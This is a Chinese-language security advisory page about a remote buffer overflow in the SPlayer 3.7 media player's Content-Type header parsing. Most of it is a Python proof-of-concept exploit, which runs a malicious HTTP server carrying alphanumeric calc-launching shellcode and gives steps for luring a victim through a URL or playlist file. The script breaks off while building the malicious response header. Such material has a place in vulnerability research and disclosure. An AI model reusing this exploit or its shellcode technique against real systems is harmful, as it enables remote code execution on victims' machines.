发布日期：2011-05-04
更新日期：2011-05-04
受影响系统：
Splayer Splayer 3.7
描述：
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BUGTRAQ ID: 47721
SPlayer是一款使用简单的多媒体播放器，
SPlayer在处理"Content-Type"头选项时存在远程缓冲区溢出漏洞，远程攻击者可利用此漏洞在受影响应用程序中运行任意代码或造成拒绝服务。
<*来源：xsploitedsec
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/python
# Exploit Title: SPlayer <= 3.7 (build 2055) Buffer Overflow Exploit
# Date: May 04, 2011
# Author: xsploitedsec <xsploitedsecurity [at] gmail [dot] com>
# Software Link:
# Versions: <= 3.7 (build 2055)
# Tested On: WinXP SP3 Eng / SPlayer 3.7 build 2055 (English Locale)
# CVE: N/A
# Software Descripton:
# "SPlayer is a simple and free high performance all-in-one audio and video player that was designed
# in order to help you easily view your videos, images and listen to your music files. SPlayer lets
# you enjoy your favorite music and movies"
# Vulnerability information:
# SPlayer is vulnerable to a remote buffer overflow when parsing a specially crafted HTTP header from
# a remote server. The bug is triggered due to the "Content-Type:" field being passed to the wcstol()
# function, prior to any bounds checking. This could allow an attacker to trick a remote user into
# opening a specially crafted playlist file, containing a URL pointing to a malicious web server.
# Usage:
# Method 1:
# 1. Execute this script ...
# 2. Launch SPlayer, right click and click open->URL (ctrl+u) ...
# 3. Input the server URL and Click OK ...
# 4. Boom!/calc ...
# Method 2:
# 1. Execute this script ...
# 2. Launch SPlayer and click Open (ctrl+o) ...
# 3. Browse to any playlist file (m3u, pls) It must contain the server URL! ...
# 4. Click Open ...
# 5. [wait til URL is loaded], Boom!/calc ...
# URL Examples:
#
# :port/anyfilename.avi
# *
# Shouts:
# edb-team, corelanc0d3r/corelan-team, kaotix, sheep, deca, nemesis
import sys
import socket
bindaddr = "0.0.0.0"
bindport = 1234
banner = "Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1"
# calc shellcode / alpha_upper
calcshell = ( # Plenty of room for lots of shellcode here
"PPYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAP"
"AZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB3Y9R8Z9L8Y2RJT1N0V0Y0I0I0I0I0"
"I0I0I0I0I0I0C0C0C0C0C0C070Q0Z1Z110X0P001100112K11110Q02110B020B0B000B0B110B0X0P0"
"8110B2U0J0I0I2L0M080N1Y0E0P0G2P0C000Q2P0K090K0U0E1Q0H0R0B0D0L0K0B2R0P000L0K0F020"
"F2L0L0K0C1R0G1T0N2K0Q1R0D1X0D0O0L2W0C2Z0E2V0E1Q0I2O0F0Q0K2P0L2L0E2L0Q2Q0C0L0E0R0"
"D2L0G0P0O010J2O0D0M0G2Q0K2W0I2R0H2P0P0R0C1W0N2K0B2R0B000L0K0P0B0G0L0G2Q0H0P0N2K0"
"C2P0Q1X0K050K2P0P2T0Q0Z0E0Q0H0P0B2P0N2K0C2X0F2X0L0K0B2X0E2P0E0Q0N030I2S0G0L0P0I0"
"N2K0G0D0N2K0F1Q0I0F0P010I2O0E1Q0O000L2L0J1Q0H0O0F2M0C010O070G0H0K0P0B0U0L040E0S0"
"C0M0K0H0E2K0Q2M0Q040P2U0K0R0P0X0N2K0F080G0T0C010I0C0E060N2K0F2L0B2K0N2K0B2X0G2L0"
"C010K1S0N2K0G2T0L0K0C010H0P0L0I0Q0T0D1T0E2T0C2K0C2K0P1Q0B2Y0P0Z0P0Q0I2O0K0P0C1X0"
"C2O0C1Z0N2K0F2R0H2K0L0F0C2M0B0J0E0Q0N2M0N1U0O0I0G2P0C000E0P0B2P0Q2X0P010N2K0P2O0"
"O2W0K0O0J2U0M2K0J0P0N0U0I020F060E080N0F0L0U0O0M0M0M0K0O0I0E0E2L0F1V0Q2L0F1Z0M0P0"
"K0K0M000Q1U0G2U0O0K0P0G0D0S0Q1R0P2O0P1Z0C000Q0C0K0O0J2U0E030C0Q0P2L0E030D2N0B0E0"
"D080Q2U0C000E0Z1111KPA")
class Client():
def about(self):
about = "\r=======================================================================\n"
about += " PoC Title: Exploit Title: SPlayer <= 3.7 (build 2055) Buffer Overflow\n"
about += " Author: xsploitedsec <xsploitedsecurity [at] gmail [dot] com>\r\n"
about += "======================================================================="
print about
def run (self):
pre = "HTTP/1.1 200 OK\r\n"
pre += "Date: Tue, 03 May 2011 04:18:38 GMT\r\n"
pre += "Server: " + banner + "\r\n"
pre += "Last-Modified: Sun, 03 Jul 2005 18:39:44 GMT\r\n"
pre += "ETag: ""1f3814d-e6800-3fb032cba1c00""\r\n"
pre += "Accept-Ranges: bytes\r\n"
pre += "Content-Length: 99999\r\n"
pre += "Connection: close\r\n"
pre += "Content-Type: "